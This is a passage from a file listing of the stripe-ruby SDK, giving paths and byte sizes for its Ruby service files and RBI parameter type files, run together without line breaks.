bytesreference/references/stripe-ruby/lib/stripe/services/tax_code_service.rbruns813 bytesreference/references/stripe-ruby/lib/stripe/services/tax_id_service.rbruns1,099 bytesreference/references/stripe-ruby/lib/stripe/services/tax_rate_service.rbruns1,209 bytesreference/references/stripe-ruby/lib/stripe/services/tax_service.rbruns612 bytesreference/references/stripe-ruby/lib/stripe/services/terminal/configuration_service.rbruns1,786 bytesreference/references/stripe-ruby/lib/stripe/services/terminal/connection_token_service.rbruns623 bytesreference/references/stripe-ruby/lib/stripe/services/terminal/location_service.rbruns1,945 bytesreference/references/stripe-ruby/lib/stripe/services/terminal/onboarding_link_service.rbruns517 bytesreference/references/stripe-ruby/lib/stripe/services/terminal/reader_service.rbruns5,913 bytesreference/references/stripe-ruby/lib/stripe/services/terminal_service.rbruns657 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/confirmation_token_service.rbruns497 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/customer_service.rbruns537 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/authorization_service.rbruns3,119 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/card_service.rbruns2,298 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/personalization_design_service.rbruns1,703 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing/transaction_service.rbruns1,348 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/issuing_service.rbruns707 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/refund_service.rbruns511 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/terminal/reader_service.rbruns1,594 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/terminal_service.rbruns329 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/test_clock_service.rbruns1,856 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/inbound_transfer_service.rbruns1,614 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/outbound_payment_service.rbruns2,047 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/outbound_transfer_service.rbruns2,301 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/received_credit_service.rbruns642 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury/received_debit_service.rbruns638 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers/treasury_service.rbruns828 bytesreference/references/stripe-ruby/lib/stripe/services/test_helpers_service.rbruns810 bytesreference/references/stripe-ruby/lib/stripe/services/token_service.rbruns1,036 bytesreference/references/stripe-ruby/lib/stripe/services/topup_service.rbruns1,601 bytesreference/references/stripe-ruby/lib/stripe/services/transfer_reversal_service.rbruns2,425 bytesreference/references/stripe-ruby/lib/stripe/services/transfer_service.rbruns1,938 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/credit_reversal_service.rbruns1,235 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/debit_reversal_service.rbruns1,095 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/financial_account_features_service.rbruns1,008 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/financial_account_service.rbruns2,253 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/inbound_transfer_service.rbruns1,458 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/outbound_payment_service.rbruns1,515 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/outbound_transfer_service.rbruns1,696 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/received_credit_service.rbruns841 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/received_debit_service.rbruns833 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/transaction_entry_service.rbruns775 bytesreference/references/stripe-ruby/lib/stripe/services/treasury/transaction_service.rbruns764 bytesreference/references/stripe-ruby/lib/stripe/services/treasury_service.rbruns1,219 bytesreference/references/stripe-ruby/lib/stripe/services/v1_services.rbruns6,264 bytesreference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_adjustment_service.rbruns536 bytesreference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_service.rbruns650 bytesreference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_session_service.rbruns673 bytesreference/references/stripe-ruby/lib/stripe/services/v2/billing/meter_event_stream_service.rbruns752 bytesreference/references/stripe-ruby/lib/stripe/services/v2/billing_service.rbruns676 bytesreference/references/stripe-ruby/lib/stripe/services/v2/core/account_link_service.rbruns602 bytesreference/references/stripe-ruby/lib/stripe/services/v2/core/account_service.rbruns2,476 bytesreference/references/stripe-ruby/lib/stripe/services/v2/core/account_token_service.rbruns789 bytesreference/references/stripe-ruby/lib/stripe/services/v2/core/accounts/person_service.rbruns2,391 bytesreference/references/stripe-ruby/lib/stripe/services/v2/core/accounts/person_token_service.rbruns1,068 bytesreference/references/stripe-ruby/lib/stripe/services/v2/core/event_destination_service.rbruns2,802 bytesreference/references/stripe-ruby/lib/stripe/services/v2/core/event_service.rbruns783 bytesreference/references/stripe-ruby/lib/stripe/services/v2/core_service.rbruns680 bytesreference/references/stripe-ruby/lib/stripe/services/v2_services.rbruns326 bytesreference/references/stripe-ruby/lib/stripe/services/webhook_endpoint_service.rbruns2,357 bytesreference/references/stripe-ruby/lib/stripe/singleton_api_resource.rbruns763 bytesreference/references/stripe-ruby/lib/stripe/stripe_client.rbruns3,503 bytesreference/references/stripe-ruby/lib/stripe/stripe_configuration.rbruns7,307 bytesreference/references/stripe-ruby/lib/stripe/stripe_context.rbruns1,997 bytesreference/references/stripe-ruby/lib/stripe/stripe_object.rbruns25,203 bytesreference/references/stripe-ruby/lib/stripe/stripe_response.rbruns3,836 bytesreference/references/stripe-ruby/lib/stripe/stripe_service.rbruns842 bytesreference/references/stripe-ruby/lib/stripe/util.rbruns17,856 bytesreference/references/stripe-ruby/lib/stripe/v2_list_object.rbruns2,490 bytesreference/references/stripe-ruby/lib/stripe/version.rbruns70 bytesreference/references/stripe-ruby/lib/stripe/webhook.rbruns5,028 bytesreference/references/stripe-ruby/rbi/stripe/params/account_capability_list_params.rbiasset525 bytesreference/references/stripe-ruby/rbi/stripe/params/account_capability_retrieve_params.rbiasset529 bytesreference/references/stripe-ruby/rbi/stripe/params/account_capability_update_params.rbiasset1,224 bytesreference/references/stripe-ruby/rbi/stripe/params/account_create_params.rbiasset185,807 bytesreference/references/stripe-ruby/rbi/stripe/params/account_delete_params.rbiasset160 bytesreference/references/stripe-ruby/rbi/stripe/params/account_external_account_create_params.rbiasset10,399 bytesreference/references/stripe-ruby/rbi/stripe/params/account_external_account_delete_params.rbiasset175 bytesreference/references/stripe-ruby/rbi/stripe/params/account_external_account_list_params.rbiasset2,264 bytesreference/references/stripe-ruby/rbi/stripe/params/account_external_account_retrieve_params.rbiasset534 bytesreference/references/stripe-ruby/rbi/stripe/params/account_external_account_update_params.rbiasset7,554 bytesreference/references/stripe-ruby/rbi/stripe/params/account_link_create_params.rbiasset4,471 bytesreference/references/stripe-ruby/rbi/stripe/params/account_list_params.rbiasset3,510 bytesreference/references/stripe-ruby/rbi/stripe/params/account_login_link_create_params.rbiasset526 bytesreference/references/stripe-ruby/rbi/stripe/params/account_person_create_params.rbiasset34,830 bytesreference/references/stripe-ruby/rbi/stripe/params/account_person_delete_params.rbiasset166 bytesreference/references/stripe-ruby/rbi/stripe/params/account_person_list_params.rbiasset4,885 bytesreference/references/stripe-ruby/rbi/stripe/params/account_person_retrieve_params.rbiasset525 bytesreference/references/stripe-ruby/rbi/stripe/params/account_person_update_params.rbiasset34,830 bytesreference/references/stripe-ruby/rbi/stripe/params/account_persons_params.rbiasset4,870 bytesreference/references/stripe-ruby/rbi/stripe/params/account_reject_params.rbiasset768 bytesreference/references/stripe-ruby/rbi/stripe/params/account_retrieve_current_params.rbiasset526 bytesreference/references/stripe-ruby/rbi/stripe/params/account_retrieve_params.rbiasset519 bytesreference/references/stripe-ruby/rbi/stripe/params/account_session_create_params.rbiasset60,243 bytesreference/references/stripe-ruby/rbi/stripe/params/account_update_params.rbiasset181,361 bytesreference/references/stripe-ruby/rbi/stripe/params/apple_pay_domain_create_params.rbiasset757 bytesreference/references/stripe-ruby/rbi/stripe/params/apple_pay_domain_delete_params.rbiasset167 bytesreference/references/stripe-ruby/rbi/stripe/params/apple_pay_domain_list_params.rbiasset2,260 bytesreference/references/stripe-ruby/rbi/stripe/params/apple_pay_domain_retrieve_params.rbiasset526 bytesreference/references/stripe-ruby/rbi/stripe/params/application_fee_list_params.rbiasset3,832 bytesreference/references/stripe-ruby/rbi/stripe/params/application_fee_refund_create_params.rbiasset1,538 bytesreference/references/stripe-ruby/rbi/stripe/params/application_fee_refund_list_params.rbiasset1,953 bytesreference/references/stripe-ruby/rbi/stripe/params/application_fee_refund_retrieve_params.rbiasset532 bytesreference/references/stripe-ruby/rbi/stripe/params/application_fee_refund_update_params.rbiasset1,220 bytesreference/references/stripe-ruby/rbi/stripe/params/application_fee_retrieve_params.rbiasset526 bytesreference/references/stripe-ruby/rbi/stripe/params/apps/secret_create_params.rbiasset2,423 bytesreference/references/stripe-ruby/rbi/stripe/params/apps/secret_delete_where_params.rbiasset1,893 bytesreference/references/stripe-ruby/rbi/stripe/params/apps/secret_find_params.rbiasset1,843 bytesreference/references/stripe-ruby/rbi/stripe/params/apps/secret_list_params.rbiasset3,118 bytesreference/references/stripe-ruby/rbi/stripe/params/balance_retrieve_params.rbiasset519 bytesreference/references/stripe-ruby/rbi/stripe/params/balance_settings_retrieve_params.rbiasset527 bytesreference/references/stripe-ruby/rbi/stripe/params/balance_settings_update_params.rbiasset7,337 bytesreference/references/stripe-ruby/rbi/stripe/params/balance_transaction_list_params.rbiasset5,774 bytesreference/references/stripe-ruby/rbi/stripe/params/balance_transaction_retrieve_params.rbiasset530 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/alert_activate_params.rbiasset558 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/alert_archive_params.rbiasset557 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/alert_create_params.rbiasset3,562 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/alert_deactivate_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/alert_list_params.rbiasset2,636 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/alert_retrieve_params.rbiasset558 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_balance_summary_retrieve_params.rbiasset4,695 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_balance_transaction_list_params.rbiasset3,083 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_balance_transaction_retrieve_params.rbiasset577 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_grant_create_params.rbiasset8,231 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_grant_expire_params.rbiasset562 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_grant_list_params.rbiasset2,700 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_grant_retrieve_params.rbiasset564 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_grant_update_params.rbiasset1,503 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/credit_grant_void_grant_params.rbiasset565 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_create_params.rbiasset4,779 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_deactivate_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_event_adjustment_create_params.rbiasset2,064 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_event_create_params.rbiasset2,621 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_event_summary_list_params.rbiasset3,614 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_list_params.rbiasset2,341 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_reactivate_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_retrieve_params.rbiasset558 bytesreference/references/stripe-ruby/rbi/stripe/params/billing/meter_update_params.rbiasset860 bytesreference/references/stripe-ruby/rbi/stripe/params/billing_portal/configuration_create_params.rbiasset22,481 bytesreference/references/stripe-ruby/rbi/stripe/params/billing_portal/configuration_list_params.rbiasset2,802 bytesreference/references/stripe-ruby/rbi/stripe/params/billing_portal/configuration_retrieve_params.rbiasset572 bytesreference/references/stripe-ruby/rbi/stripe/params/billing_portal/configuration_update_params.rbiasset23,241 bytesreference/references/stripe-ruby/rbi/stripe/params/billing_portal/session_create_params.rbiasset16,368 bytesreference/references/stripe-ruby/rbi/stripe/params/charge_capture_params.rbiasset5,090 bytesreference/references/stripe-ruby/rbi/stripe/params/charge_create_params.rbiasset16,484 bytesreference/references/stripe-ruby/rbi/stripe/params/charge_list_params.rbiasset4,471 bytesreference/references/stripe-ruby/rbi/stripe/params/charge_retrieve_params.rbiasset518 bytesreference/references/stripe-ruby/rbi/stripe/params/charge_search_params.rbiasset1,608 bytesreference/references/stripe-ruby/rbi/stripe/params/charge_update_params.rbiasset8,254 bytesreference/references/stripe-ruby/rbi/stripe/params/checkout/session_create_params.rbiasset248,466 bytesreference/references/stripe-ruby/rbi/stripe/params/checkout/session_expire_params.rbiasset559 bytesreference/references/stripe-ruby/rbi/stripe/params/checkout/session_line_item_list_params.rbiasset2,024 bytesreference/references/stripe-ruby/rbi/stripe/params/checkout/session_list_line_items_params.rbiasset2,025 bytesreference/references/stripe-ruby/rbi/stripe/params/checkout/session_list_params.rbiasset6,487 bytesreference/references/stripe-ruby/rbi/stripe/params/checkout/session_retrieve_params.rbiasset561 bytesreference/references/stripe-ruby/rbi/stripe/params/checkout/session_update_params.rbiasset30,183 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/order_cancel_params.rbiasset556 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/order_create_params.rbiasset3,566 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/order_list_params.rbiasset2,013 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/order_retrieve_params.rbiasset558 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/order_update_params.rbiasset2,176 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/product_list_params.rbiasset2,015 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/product_retrieve_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/supplier_list_params.rbiasset2,016 bytesreference/references/stripe-ruby/rbi/stripe/params/climate/supplier_retrieve_params.rbiasset561 bytesreference/references/stripe-ruby/rbi/stripe/params/confirmation_token_create_params.rbiasset58,771 bytesreference/references/stripe-ruby/rbi/stripe/params/confirmation_token_retrieve_params.rbiasset529 bytesreference/references/stripe-ruby/rbi/stripe/params/country_spec_list_params.rbiasset1,944 bytesreference/references/stripe-ruby/rbi/stripe/params/country_spec_retrieve_params.rbiasset523 bytesreference/references/stripe-ruby/rbi/stripe/params/coupon_create_params.rbiasset6,711 bytesreference/references/stripe-ruby/rbi/stripe/params/coupon_delete_params.rbiasset159 bytesreference/references/stripe-ruby/rbi/stripe/params/coupon_list_params.rbiasset3,609 bytesreference/references/stripe-ruby/rbi/stripe/params/coupon_retrieve_params.rbiasset518 bytesreference/references/stripe-ruby/rbi/stripe/params/coupon_update_params.rbiasset2,657 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_create_params.rbiasset13,666 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_line_item_list_params.rbiasset1,951 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_list_params.rbiasset4,483 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_list_preview_line_items_params.rbiasset15,407 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_preview_lines_list_params.rbiasset15,323 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_preview_params.rbiasset13,687 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_retrieve_params.rbiasset522 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_update_params.rbiasset1,365 bytesreference/references/stripe-ruby/rbi/stripe/params/credit_note_void_credit_note_params.rbiasset528 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_balance_transaction_create_params.rbiasset2,394 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_balance_transaction_list_params.rbiasset3,905 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_balance_transaction_retrieve_params.rbiasset538 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_balance_transaction_update_params.rbiasset1,547 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_cash_balance_retrieve_params.rbiasset531 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_cash_balance_transaction_list_params.rbiasset1,963 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_cash_balance_transaction_retrieve_params.rbiasset542 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_cash_balance_update_params.rbiasset1,655 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_create_funding_instructions_params.rbiasset3,559 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_create_params.rbiasset21,909 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_delete_discount_params.rbiasset169 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_delete_params.rbiasset161 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_fund_cash_balance_params.rbiasset1,852 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_funding_instructions_create_params.rbiasset3,559 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_list_params.rbiasset4,224 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_list_payment_methods_params.rbiasset2,995 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_payment_method_list_params.rbiasset2,994 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_payment_method_retrieve_params.rbiasset533 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_create_params.rbiasset1,668 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_delete_params.rbiasset531 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_list_params.rbiasset2,253 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_retrieve_params.rbiasset533 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_update_params.rbiasset8,149 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_payment_source_verify_params.rbiasset892 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_retrieve_params.rbiasset520 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_retrieve_payment_method_params.rbiasset533 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_search_params.rbiasset1,614 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_session_create_params.rbiasset18,640 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_tax_id_create_params.rbiasset2,004 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_tax_id_delete_params.rbiasset166 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_tax_id_list_params.rbiasset1,946 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_tax_id_retrieve_params.rbiasset525 bytesreference/references/stripe-ruby/rbi/stripe/params/customer_update_params.rbiasset20,082 bytesreference/references/stripe-ruby/rbi/stripe/params/dispute_close_params.rbiasset516 bytesreference/references/stripe-ruby/rbi/stripe/params/dispute_list_params.rbiasset4,142 bytesreference/references/stripe-ruby/rbi/stripe/params/dispute_retrieve_params.rbiasset519 bytesreference/references/stripe-ruby/rbi/stripe/params/dispute_update_params.rbiasset32,040 bytesreference/references/stripe-ruby/rbi/stripe/params/entitlements/active_entitlement_list_params.rbiasset2,289 bytesreference/references/stripe-ruby/rbi/stripe/params/entitlements/active_entitlement_retrieve_params.rbiasset575 bytesreference/references/stripe-ruby/rbi/stripe/params/entitlements/feature_create_params.rbiasset1,582 bytesreference/references/stripe-ruby/rbi/stripe/params/entitlements/feature_list_params.rbiasset2,720 bytesreference/references/stripe-ruby/rbi/stripe/params/entitlements/feature_retrieve_params.rbiasset565 bytesreference/references/stripe-ruby/rbi/stripe/params/entitlements/feature_update_params.rbiasset1,744 bytesreference/references/stripe-ruby/rbi/stripe/params/ephemeral_key_create_params.rbiasset1,926 bytesreference/references/stripe-ruby/rbi/stripe/params/ephemeral_key_delete_params.rbiasset522 bytesreference/references/stripe-ruby/rbi/stripe/params/event_list_params.rbiasset4,778 bytesreference/references/stripe-ruby/rbi/stripe/params/event_retrieve_params.rbiasset517 bytesreference/references/stripe-ruby/rbi/stripe/params/exchange_rate_list_params.rbiasset2,029 bytesreference/references/stripe-ruby/rbi/stripe/params/exchange_rate_retrieve_params.rbiasset524 bytesreference/references/stripe-ruby/rbi/stripe/params/file_create_params.rbiasset3,249 bytesreference/references/stripe-ruby/rbi/stripe/params/file_link_create_params.rbiasset2,053 bytesreference/references/stripe-ruby/rbi/stripe/params/file_link_list_params.rbiasset4,059 bytesreference/references/stripe-ruby/rbi/stripe/params/file_link_retrieve_params.rbiasset520 bytesreference/references/stripe-ruby/rbi/stripe/params/file_link_update_params.rbiasset1,683 bytesreference/references/stripe-ruby/rbi/stripe/params/file_list_params.rbiasset3,808 bytesreference/references/stripe-ruby/rbi/stripe/params/file_retrieve_params.rbiasset516 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_disconnect_params.rbiasset575 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_list_owners_params.rbiasset2,328 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_list_params.rbiasset4,134 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_owner_list_params.rbiasset2,327 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_refresh_account_params.rbiasset867 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_refresh_params.rbiasset860 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_retrieve_params.rbiasset573 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_subscribe_params.rbiasset868 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/account_unsubscribe_params.rbiasset874 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/session_create_params.rbiasset5,196 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/session_retrieve_params.rbiasset573 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/transaction_list_params.rbiasset5,331 bytesreference/references/stripe-ruby/rbi/stripe/params/financial_connections/transaction_retrieve_params.rbiasset577 bytesreference/references/stripe-ruby/rbi/stripe/params/forwarding/request_create_params.rbiasset4,113 bytesreference/references/stripe-ruby/rbi/stripe/params/forwarding/request_list_params.rbiasset3,444 bytesreference/references/stripe-ruby/rbi/stripe/params/forwarding/request_retrieve_params.rbiasset563 bytesreference/references/stripe-ruby/rbi/stripe/params/identity/verification_report_list_params.rbiasset4,919 bytesreference/references/stripe-ruby/rbi/stripe/params/identity/verification_report_retrieve_params.rbiasset572 bytesreference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_cancel_params.rbiasset571 bytesreference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_create_params.rbiasset9,599 bytesreference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_list_params.rbiasset5,289 bytesreference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_redact_params.rbiasset571 bytesreference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_retrieve_params.rbiasset573 bytesreference/references/stripe-ruby/rbi/stripe/params/identity/verification_session_update_params.rbiasset6,386 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_add_lines_params.rbiasset21,636 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_attach_payment_params.rbiasset1,157 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_create_params.rbiasset60,270 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_create_preview_params.rbiasset100,930 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_delete_params.rbiasset160 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_finalize_invoice_params.rbiasset1,029 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_item_create_params.rbiasset13,479 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_item_delete_params.rbiasset164 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_item_list_params.rbiasset5,104 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_item_retrieve_params.rbiasset523 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_item_update_params.rbiasset11,386 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_line_item_list_params.rbiasset1,948 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_line_item_update_params.rbiasset19,877 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_list_params.rbiasset6,756 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_mark_uncollectible_params.rbiasset528 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_pay_params.rbiasset3,420 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_payment_list_params.rbiasset5,488 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_payment_retrieve_params.rbiasset526 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_remove_lines_params.rbiasset2,218 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_rendering_template_archive_params.rbiasset535 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_rendering_template_list_params.rbiasset2,235 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_rendering_template_retrieve_params.rbiasset789 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_rendering_template_unarchive_params.rbiasset537 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_retrieve_params.rbiasset519 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_search_params.rbiasset1,611 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_send_invoice_params.rbiasset522 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_update_lines_params.rbiasset22,331 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_update_params.rbiasset57,655 bytesreference/references/stripe-ruby/rbi/stripe/params/invoice_void_invoice_params.rbiasset522 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_approve_params.rbiasset1,790 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_capture_params.rbiasset22,862 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_create_params.rbiasset33,089 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_decline_params.rbiasset1,273 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_expire_params.rbiasset564 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_finalize_amount_params.rbiasset12,495 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_increment_params.rbiasset1,517 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_list_params.rbiasset4,633 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_respond_params.rbiasset907 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_retrieve_params.rbiasset566 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_reverse_params.rbiasset1,085 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_update_params.rbiasset1,272 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_create_params.rbiasset17,424 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_deliver_card_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_fail_card_params.rbiasset557 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_list_params.rbiasset5,849 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_retrieve_params.rbiasset557 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_return_card_params.rbiasset559 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_ship_card_params.rbiasset557 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_submit_card_params.rbiasset559 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/card_update_params.rbiasset14,835 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/cardholder_create_params.rbiasset20,830 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/cardholder_list_params.rbiasset4,929 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/cardholder_retrieve_params.rbiasset563 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/cardholder_update_params.rbiasset20,000 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_create_params.rbiasset26,670 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_list_params.rbiasset4,282 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_retrieve_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_submit_params.rbiasset1,266 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/dispute_update_params.rbiasset25,392 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_activate_params.rbiasset574 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_create_params.rbiasset6,089 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_deactivate_params.rbiasset576 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_list_params.rbiasset4,291 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_reject_params.rbiasset1,952 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_retrieve_params.rbiasset574 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/personalization_design_update_params.rbiasset6,262 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/physical_bundle_list_params.rbiasset2,606 